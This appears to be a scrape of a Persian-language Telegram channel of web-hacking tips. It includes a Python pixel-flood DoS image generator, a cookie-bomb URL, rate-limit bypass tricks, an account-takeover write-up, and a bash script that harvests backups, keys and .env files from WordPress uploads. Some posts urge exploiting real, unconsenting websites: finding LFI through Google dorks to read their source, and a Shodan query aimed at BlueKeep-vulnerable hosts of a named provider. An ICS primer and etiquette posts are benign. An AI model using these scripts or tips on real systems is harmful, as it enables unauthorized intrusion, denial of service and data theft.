رایتاپ Account Takeover با ترکیب Session Fixation و Response Manipulation =
فلوی Login به این صورت بود که با OTP کار میکرد :
1. شماره رو وارد میکردی و یک OTP براش ارسال میشد.
2. همراه با OTP ارسالی توسط کاربر، یک
3. در صورت صحیح بودن، مقدار همون
آسیب پذیری که اینجا داریم مفهومش مثل Session Fixation هست ولی روی Token ها. اگر قبل و بعد از لاگین Session کاربر تغییر نکند این آسیب پذیری وجود دارد.
حالا فقط کافیه OTP دلخواه را برای قربانی در نظر بگیریم و Response Manipulation انجام بدیم. باید مقدار
#Account_Takeover
#Session_Fixation
#Response_Manipulation
فلوی Login به این صورت بود که با OTP کار میکرد :
1. شماره رو وارد میکردی و یک OTP براش ارسال میشد.
2. همراه با OTP ارسالی توسط کاربر، یک
AuthToken هم در Body ارسال میشد.3. در صورت صحیح بودن، مقدار همون
AuthToken در Response در AuthenticationToken قرار میگرفت.{
"AuthenticationToken":"AuthToken Value is here",
"is_Error":"0",
"Message":"Success Message is here"
}
آسیب پذیری که اینجا داریم مفهومش مثل Session Fixation هست ولی روی Token ها. اگر قبل و بعد از لاگین Session کاربر تغییر نکند این آسیب پذیری وجود دارد.
حالا فقط کافیه OTP دلخواه را برای قربانی در نظر بگیریم و Response Manipulation انجام بدیم. باید مقدار
AuthenticationToken قربانی رو برابر با مقدار AuthToken مرحله 2 قرار بدیم و Message و is_Error هم که برای همه ی کاربرا ثابتن.#Account_Takeover
#Session_Fixation
#Response_Manipulation
❤17👍3
متودولوژی تست نفوذ وردپرس =
1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.
تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :
1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.
حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟
1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.
#WordPress
#Methodology
1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.
تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :
1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.
حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟
1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.
#WordPress
#Methodology
❤33👍7🔥6
❤10👍2
اگه میخواین یه وب سایت واقعی که کلی آسیب پذیری داره رو پیدا کنین میتونین با گوگل دورک یه LFI پیدا کنین و با LFI کل سورس های سایت رو بخونین. اگه توی خوندن کد مشکل دارین میتونه تمرین خوبی باشه. از داخل سورس کد هم میتونین دنبال آسیب پذیری باشین. خلاصه برای افراد مبتدی تمرین خوبیه.
❤31👍9
جاهایی که image parser هست، یه عکس معمولی انتخاب میکنیم و pixel های طول و عرضشو افزایش میدیم. در نتیجه وقتی تصویر parse میشه مصرف مموری زیاد میشه و تبدیل به DOS میشه.
به این عمل میگن pixel flood که روی عکس های jpg / jpeg انجام میدیم.
برای افزایش pixel های یه عکس معمولی از کد زیر استفاده میکنیم. (اجرا کردنش روی سیستم ضعیف مثل خودکشی میمونه xD)
#DOS
#pixel_flood
به این عمل میگن pixel flood که روی عکس های jpg / jpeg انجام میدیم.
برای افزایش pixel های یه عکس معمولی از کد زیر استفاده میکنیم. (اجرا کردنش روی سیستم ضعیف مثل خودکشی میمونه xD)
from PIL import Image
img_path = 'normal.jpg'
img = Image.open(img_path)
new_size = (64250, 64250)
resized_img = img.resize(new_size)
resized_img.save('DOS.jpg')
print("Image resized successfully!")#DOS
#pixel_flood
❤23👍7🔥4
قبل از یادگیری مباحث فنی تو کامپیوتر بهتره اول "نحوهی سوال پرسیدن رو یاد گرفت"
سوال رو مستقیم بپرسین بدون سرشماری افراد.
یه سلام گفتین منتظر جواب نباشین ادامش سوالتون رو بپرسین.
سوالتون رو کامل و دقیق تو یه پیام بپرسید که بیننده دقیق متوجه بشه خواستهی شما چیه بدون اینکه سوالی بپرسه.
تو گروه قبل از مطرح کردن چیزی حتما قوانینشو بخونین و خارج از قوانین گروه موضوعی مطرح نکنین.
قبل سوال پرسیدن تو گروه یه سرچ کنین شاید سوال شمارو قبلا یکی پرسیده و به جواب رسیده.
پیامتون رو بریده بریده نفرستید.
اگر نحوهی سوال پرسیدن شما یکی از حالت های بالا هست و اگر از گروهی بن شدید یا سوالتون رو جواب ندادن یا جواب سر بالا گرفتید نباید ناراحت بشید چون شما نحوهی مشارکت با بقیه رو بلد نیستید و برای وقت بقیه ارزش قائل نمیشید.
سوال رو مستقیم بپرسین بدون سرشماری افراد.
یه سلام گفتین منتظر جواب نباشین ادامش سوالتون رو بپرسین.
سوالتون رو کامل و دقیق تو یه پیام بپرسید که بیننده دقیق متوجه بشه خواستهی شما چیه بدون اینکه سوالی بپرسه.
تو گروه قبل از مطرح کردن چیزی حتما قوانینشو بخونین و خارج از قوانین گروه موضوعی مطرح نکنین.
قبل سوال پرسیدن تو گروه یه سرچ کنین شاید سوال شمارو قبلا یکی پرسیده و به جواب رسیده.
پیامتون رو بریده بریده نفرستید.
اگر نحوهی سوال پرسیدن شما یکی از حالت های بالا هست و اگر از گروهی بن شدید یا سوالتون رو جواب ندادن یا جواب سر بالا گرفتید نباید ناراحت بشید چون شما نحوهی مشارکت با بقیه رو بلد نیستید و برای وقت بقیه ارزش قائل نمیشید.
👍35❤6
Web Application Security pinned «قبل از یادگیری مباحث فنی تو کامپیوتر بهتره اول "نحوهی سوال پرسیدن رو یاد گرفت" سوال رو مستقیم بپرسین بدون سرشماری افراد. یه سلام گفتین منتظر جواب نباشین ادامش سوالتون رو بپرسین. سوالتون رو کامل و دقیق تو یه پیام بپرسید که بیننده دقیق متوجه بشه خواستهی شما…»
جاهایی که ورودی کاربر داخل cookie قرار میگیره مثل username میشه یه username با طول کاراکتر زیاد رو فرستاد و درنتیجه سرور وقتی کل دیتارو تو cookie قرار بده خطایی ظاهر میشه با عنوان Cookie یا Request header طولانیه و مرورگر نمیتونه اون سایت رو باز کنه تا وقتی cookie پاک بشه. به این آسیب پذیری میگن Cookie Bomb که منجر به DOS میشه. اما این یک سناریو self هست و برای اکسپلویت باید پارامتری پیدا کرد که مقدارش دقیقا تو cookie قرار بگیره و وقتی لینک رو قربانی باز کرد اکسپلویت بشه(مثل سناریو های CSRF که one click هست). برای مثال :
#Cookie_Bomb
#DOS
https://target.com/?param=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.........
#Cookie_Bomb
#DOS
👍33❤2
اصولی برای توسعه امن نرم افزار =
1. Least Privilege (اصل کمترین سطح دسترسی) :
برای پیاده سازی این اصل، باید پایین ترین سطح دسترسی به سرویس ها و کاربران داده شود.
برای مثال :
رعایت نکردن این موارد منجر به افزایش سطح دسترسی میشود.
2. leveraging existing components (اصل استفاده از مؤلفههای موجود و اثبات شده) :
باید به جای نوشتن فانکشن امنیتی از صفر، از روش ها و کتابخونه ها و الگوریتم های موجود و اثبات شده استفاده کنیم.
برای مثال :
#application_security
1. Least Privilege (اصل کمترین سطح دسترسی) :
برای پیاده سازی این اصل، باید پایین ترین سطح دسترسی به سرویس ها و کاربران داده شود.
برای مثال :
در SQL Server باید مواردی مانند xp_cmdshell غیر فعال شود.
از حساب کاربری root استفاده نشود.
رعایت نکردن این موارد منجر به افزایش سطح دسترسی میشود.
2. leveraging existing components (اصل استفاده از مؤلفههای موجود و اثبات شده) :
باید به جای نوشتن فانکشن امنیتی از صفر، از روش ها و کتابخونه ها و الگوریتم های موجود و اثبات شده استفاده کنیم.
برای مثال :
برای Hashing به جای اینکه از الگوریتم های خود ساخته استفاده کنیم بهتره از الگوریتم هایی که طی سال ها اثبات شدن استفاده کنیم مانند bcrypt.
در Web Application استفاده از Session Management استاندارد و آزمایششده بهمراتب امنتر از روش های کاستوم است.
#application_security
❤12👍2
جاهایی که rate limit روی شماره کار میکنه، میتونیم با اضافه کردن + به +98 بایپسش کنیم.
#rate_limit_bypass
#rate_limit_bypass
❤44👍10👎4🔥3
اگه تو وردپرس Directory listing فعال باشه، معمولا حجم زیادی از دیتارو تصاویر تشکیل میدن در صورتی که باید دنبال فایل هایی مثل log , zip , sql و...... باشیم.
با اسکریپت زیر میتونیم همه ی فایل های مهم و حساس رو به صورت اتومیت به دست بیاریم(دایرکتوری های مربوط به سال 2016 تا 2025 رو بررسی میکنه)
#WordPress
با اسکریپت زیر میتونیم همه ی فایل های مهم و حساس رو به صورت اتومیت به دست بیاریم(دایرکتوری های مربوط به سال 2016 تا 2025 رو بررسی میکنه)
for year in {2016..2025}; do
for month in {01..12}; do
base="https://target.tld/wp-content/uploads/$year/$month/"
echo "[+] Checking $base"
curl -s "$base" | grep -Eo 'href="[^"]+"' | cut -d'"' -f2 |
grep -Ei '\.(bak|old|backup|sql|env|git|log|cfg|conf|ini|db|json|xml|yml|yaml|zip|tar|gz|rar|7z|pem|crt|key|csr|p12|swp|php~|txt|inc|htpasswd|htaccess)(\?|$)' |
while read path; do
if [[ "$path" =~ ^https?:// ]]; then
echo "$path"
elif [[ "$path" =~ ^/ ]]; then
echo "https://target.tld$path"
else
echo "${base}${path}"
fi
done
done
done
#WordPress
👍30❤13🔥3
در Django یک اقدام امنیتی برای جلوگیری از CSRF وجود داره به نام
این یعنی با داشتن XSS از اون Origin میتونیم روی تارگت CSRF بزنیم.
از بیرون نمیتونیم این تنظیمات رو ببینیم. ولی اگر Debug mode سامانه فعال باشه میتونیم این تنظیمات رو ببینیم.
اگه Debug mode فعال نبود باید همه ی دامنه های کمپانی رو FUZZ کنیم(بررسی دامنه های CSP هم خالی از لطف نیست).
#CSRF
#Django
CSRF_TRUSTED_ORIGINS که یک وایت لیسته و به Origin های داخل اون اجازه میده درخواست های Cross Origin ارسال کنن و تنظیم این مورد جلوی اکسپلویت CSRF از دامنه هکر رو میگیره.این یعنی با داشتن XSS از اون Origin میتونیم روی تارگت CSRF بزنیم.
از بیرون نمیتونیم این تنظیمات رو ببینیم. ولی اگر Debug mode سامانه فعال باشه میتونیم این تنظیمات رو ببینیم.
اگه Debug mode فعال نبود باید همه ی دامنه های کمپانی رو FUZZ کنیم(بررسی دامنه های CSP هم خالی از لطف نیست).
#CSRF
#Django
❤32👍2
سایت https://pocorexp.nsa.im/ همهی CVEها رو فهرست کرده و اگر برای هرکدوم اکسپلویت پابلیک وجود داشته باشه، اون رو هم پایینش قرار میده.
#resource
#resource
❤26👍5
یکی از منابع غیررسمی برای یادگیری، وب سایت slideshare.net است. با باز کردن یه اسلاید، معمولا اسلاید های مرتبط با همون موضوع رو هم پیشنهاد میده. برای مثال این اسلاید درباره امنیت OT است و در بخش Recommended موضوعاتی مثل IOT , ICS رو آورده.
برای دانلود اسلاید ها میتونین از slidesaver.app استفاده کنین.
#resource
برای دانلود اسلاید ها میتونین از slidesaver.app استفاده کنین.
#resource
SlideShare
OT Security - h-c0n 2020
José Ramón Palanco is an OT security expert at ElevenPaths (Telefónica) who specializes in penetration testing, vulnerability research, and programming. The presentation covers OT protocols, an OT lab for hardware hacking and firmware analysis, industrial…
❤13👍8
برای پیدا کردن Public IP های یک منطقه (مثل یک دانشگاه، سازمان، محله یا حتی روستا)، باید از طریق Google Maps مختصات جغرافیایی اون منطقه رو به دست بیارین و بعد در سایت shodan با فیلتر geo سرچش کنین.
#shodan
#shodan
❤42🔥11👍8
تا حالا شده بخواین کل سرور های آسیب پذیر به یک CVE رو پیدا کنین؟
با shodan و فیلتر vuln این کار ممکنه، اما با اکانت رایگان نمیشه اینکارو انجام داد.
تو آموزشی که اینجا قرار میدم میتونیم این محدودیت رو بایپس کنیم و هزاران سرور آسیب پذیر به یک CVE خاص رو با اکانت رایگان پیدا کنیم.
برای مثال با این کوئری میتونیم کلی سرور آسیب پذیر به BlueKeep رو پیدا کنیم :
آموزش ساخت کوئری در ویدئو زیر :
#shodan
با shodan و فیلتر vuln این کار ممکنه، اما با اکانت رایگان نمیشه اینکارو انجام داد.
تو آموزشی که اینجا قرار میدم میتونیم این محدودیت رو بایپس کنیم و هزاران سرور آسیب پذیر به یک CVE خاص رو با اکانت رایگان پیدا کنیم.
برای مثال با این کوئری میتونیم کلی سرور آسیب پذیر به BlueKeep رو پیدا کنیم :
Country:"JP" Org:"NTT DOCOMO,INC." OS:"Windows 7 Professional" ssl.version:"tlsv1" ssl.jarm:"26d26d16d26d26d22c26d26d26d26dfd9c9d14e4f4f67f94f0359f8b28f532"
آموزش ساخت کوئری در ویدئو زیر :
#shodan
❤22👍4🔥2
Forwarded from Security Analysis
⭕️ امنیت CI/CD رو امشب در خدمتتون هستیم:
🕘 ساعت ۹
💡روشهای نفوذ از طریق CI/CD
💡دسترسی به سرورهای تست و پروداکشن
💡دسترسی به SECRETها
💡اصول امن سازی و توسعه امن نرم افزار
meet.google.com/rdr-cutu-qwd
#CICD #Security
@securation
🕘 ساعت ۹
💡روشهای نفوذ از طریق CI/CD
💡دسترسی به سرورهای تست و پروداکشن
💡دسترسی به SECRETها
💡اصول امن سازی و توسعه امن نرم افزار
meet.google.com/rdr-cutu-qwd
#CICD #Security
@securation
❤13👍6
👍2
امنیت سیستم های کنترل صنعتی قسمت ۱ :
خب شروع میکنیم.
اکثر آموزش های پابلیک تو وب فارسی بدون درک کردن مفاهیم مهم زیرساخت صنعتی وارد فاز اکسپلویت میشن که کاربردی نیست، مثل استفاده از sqlmap بدون دانش دیتابیسه و بخاطر همین اول مفاهیم پایه رو مرور میکنیم.
فرایند صنعتی =
به محموعهای از فعالیت ها گفته میشه که برای تبدیل مواد خام به محصول نهایی در صنعت استفاده میشن. برای مثال همه مراحل مورد نیاز برای تبدیل چوب درخت به کاغذ.
اتوماسیون صنعتی =
همون سیستم تبدیل چوب درخت به کاغذ رو بدون دخالت انسان در نظر بگیرید. اتوماسیون صنعتی 3 بخش داره : سنسور، عملگر، کنترل کننده. سنسور پارامتر فیزیکی رو اندازه گیری میکنه و خروجیش وارد کنترل کننده میشه و کنترل کننده با توجه به ورودی دریافتی به عملگر دستور میده تا روی پارامتر های فیزیکی عمل کنه. برای مثال دماسنج به عنوان یه سنسور دمای محیط رو اندازه گیری میکنه و برای کنترل کننده که مواردی مثل PLC هست ارسالش میکنه و PLC تصمیم میگیره با توجه به دمای محیط به بخاری(به عنوان یک عملگر) دستور روشن یا خاموش شدن رو ارسال کنه.
کنترل کننده یا Controller =
کنترل کنندهها انواع مختلفی دارن که PLC پرکاربردترین اونهاست. PLC یه دستگاه الکترونیکی هست که برای کنترل ماشین ها و فرایند های صنعتی استفاده میشه. مثل همون کامپیوتر های شخصی اما فقط برای محیط های صنعتی که بتونن در دمای خیلی بالا یا پایین کار کنن.
مفهوم ICS =
یه عنوان کلی هست و به هر سیستم کنترل صنعتی میتونیم بگیم ICS.
مفهوم SCADA =
یه سیستم کلی هست و مجموعه ای از نرم افزار و سخت افزار هارو شامل میشه. برای کنترل و جمع آوری دادهها و اطلاعات از راه دور استفاده میشه. داده ها از سنسور ها و PLC ها و..... جمع آوری میشه.
مفهوم HMI =
به معنی رابط بین انسان و ماشین هست. HMI به اپراتور اجازه میده ماشین یا تجهیزات رو کنترل کنه. معمولا یه مانیتور هست که اپراتور میتونه باهاش پارامتر های فیزیکی مانند روشن/خاموش بودن دستگاهها رو ببینه یا کنترل کنه.
مفهوم DCS =
کاربردش مثل SCADA هست اما SCADA به صورت ریموت کار میکنه و معمولا در شبکه WAN استفاده میشه. اما DCS به صورت LAN استفاده میشه و وابستگی به اینترنت نداره در صورتی که ممکنه SCADA نیاز به اینترنت داشته باشه.
مفهوم RTU =
در محل های مختلف نصب میشه که داده هارو از سنسور ها دریافت کنه و به مرکز کنترل مثل SCADA ارسال کنه. میتونه دستوراتی که از مرکز کنترل میاد رو دریافت و اجرا کنه مثل خاموش/روشن کردن تجهیزات.
پروتکل های صنعتی =
پروتکل های صنعتی وظیفه برقراری ارتباط بین اجزای مختلف ICS مثل PLC, HMI رو دارن. پروتکل هایی مثل modbus, DNP3 نمونه هایی از پروتکل های صنعتی ان.
مقایسه پارامتر های زمانی بین IT و OT(همون ICS) =
در حملات IT پارامتر های زمانی خیلی مهم نیست مگر در race condition. چندین دقیقه تاخیر در وب سایت مشکل بزرگی ایجاد نمیکنه. اما در ICS فرض کنین که یک PLC دمای کوره رو کنترل میکنه و اگر اطلاعات دما با چند ثانیه تاخیر ارسال بشه، کنترل دما ممکنه به اشتباه انجام بشه و کوره خیلی داغ تر یا سردتر از حدمجاز بشه که باعث ایجاد مشکل تو فرایند تولید محصول میشه. برای همین availability در OT خیلی خیلی مهم تر از IT هست.
آسیب پذیری در پروتکل های صنعتی =
اکثر پروتکل های صنعتی مثل modbus هیچ گونه Authenticationی ندارن و اطلاعات رو به صورت clear text ارسال میکنن. دلیل این ضعف در پروتکل های صنعتی همون اهمیت زمان هستش و اگر داده ها به صورت cipher text ارسال بشن، یک مدت زمانی تاخیر ایجاد میکنه و ممکنه باعث ایجاد مشکل بشه. در نتیجه در ICS استاندارد های امنیتی به شکلی که تعریف شدن استفاده نمیشن خیلی وقتا.
#ICS
#SCADA
خب شروع میکنیم.
اکثر آموزش های پابلیک تو وب فارسی بدون درک کردن مفاهیم مهم زیرساخت صنعتی وارد فاز اکسپلویت میشن که کاربردی نیست، مثل استفاده از sqlmap بدون دانش دیتابیسه و بخاطر همین اول مفاهیم پایه رو مرور میکنیم.
فرایند صنعتی =
به محموعهای از فعالیت ها گفته میشه که برای تبدیل مواد خام به محصول نهایی در صنعت استفاده میشن. برای مثال همه مراحل مورد نیاز برای تبدیل چوب درخت به کاغذ.
اتوماسیون صنعتی =
همون سیستم تبدیل چوب درخت به کاغذ رو بدون دخالت انسان در نظر بگیرید. اتوماسیون صنعتی 3 بخش داره : سنسور، عملگر، کنترل کننده. سنسور پارامتر فیزیکی رو اندازه گیری میکنه و خروجیش وارد کنترل کننده میشه و کنترل کننده با توجه به ورودی دریافتی به عملگر دستور میده تا روی پارامتر های فیزیکی عمل کنه. برای مثال دماسنج به عنوان یه سنسور دمای محیط رو اندازه گیری میکنه و برای کنترل کننده که مواردی مثل PLC هست ارسالش میکنه و PLC تصمیم میگیره با توجه به دمای محیط به بخاری(به عنوان یک عملگر) دستور روشن یا خاموش شدن رو ارسال کنه.
کنترل کننده یا Controller =
کنترل کنندهها انواع مختلفی دارن که PLC پرکاربردترین اونهاست. PLC یه دستگاه الکترونیکی هست که برای کنترل ماشین ها و فرایند های صنعتی استفاده میشه. مثل همون کامپیوتر های شخصی اما فقط برای محیط های صنعتی که بتونن در دمای خیلی بالا یا پایین کار کنن.
مفهوم ICS =
یه عنوان کلی هست و به هر سیستم کنترل صنعتی میتونیم بگیم ICS.
مفهوم SCADA =
یه سیستم کلی هست و مجموعه ای از نرم افزار و سخت افزار هارو شامل میشه. برای کنترل و جمع آوری دادهها و اطلاعات از راه دور استفاده میشه. داده ها از سنسور ها و PLC ها و..... جمع آوری میشه.
مفهوم HMI =
به معنی رابط بین انسان و ماشین هست. HMI به اپراتور اجازه میده ماشین یا تجهیزات رو کنترل کنه. معمولا یه مانیتور هست که اپراتور میتونه باهاش پارامتر های فیزیکی مانند روشن/خاموش بودن دستگاهها رو ببینه یا کنترل کنه.
مفهوم DCS =
کاربردش مثل SCADA هست اما SCADA به صورت ریموت کار میکنه و معمولا در شبکه WAN استفاده میشه. اما DCS به صورت LAN استفاده میشه و وابستگی به اینترنت نداره در صورتی که ممکنه SCADA نیاز به اینترنت داشته باشه.
مفهوم RTU =
در محل های مختلف نصب میشه که داده هارو از سنسور ها دریافت کنه و به مرکز کنترل مثل SCADA ارسال کنه. میتونه دستوراتی که از مرکز کنترل میاد رو دریافت و اجرا کنه مثل خاموش/روشن کردن تجهیزات.
پروتکل های صنعتی =
پروتکل های صنعتی وظیفه برقراری ارتباط بین اجزای مختلف ICS مثل PLC, HMI رو دارن. پروتکل هایی مثل modbus, DNP3 نمونه هایی از پروتکل های صنعتی ان.
مقایسه پارامتر های زمانی بین IT و OT(همون ICS) =
در حملات IT پارامتر های زمانی خیلی مهم نیست مگر در race condition. چندین دقیقه تاخیر در وب سایت مشکل بزرگی ایجاد نمیکنه. اما در ICS فرض کنین که یک PLC دمای کوره رو کنترل میکنه و اگر اطلاعات دما با چند ثانیه تاخیر ارسال بشه، کنترل دما ممکنه به اشتباه انجام بشه و کوره خیلی داغ تر یا سردتر از حدمجاز بشه که باعث ایجاد مشکل تو فرایند تولید محصول میشه. برای همین availability در OT خیلی خیلی مهم تر از IT هست.
آسیب پذیری در پروتکل های صنعتی =
اکثر پروتکل های صنعتی مثل modbus هیچ گونه Authenticationی ندارن و اطلاعات رو به صورت clear text ارسال میکنن. دلیل این ضعف در پروتکل های صنعتی همون اهمیت زمان هستش و اگر داده ها به صورت cipher text ارسال بشن، یک مدت زمانی تاخیر ایجاد میکنه و ممکنه باعث ایجاد مشکل بشه. در نتیجه در ICS استاندارد های امنیتی به شکلی که تعریف شدن استفاده نمیشن خیلی وقتا.
#ICS
#SCADA
🔥23❤10👍1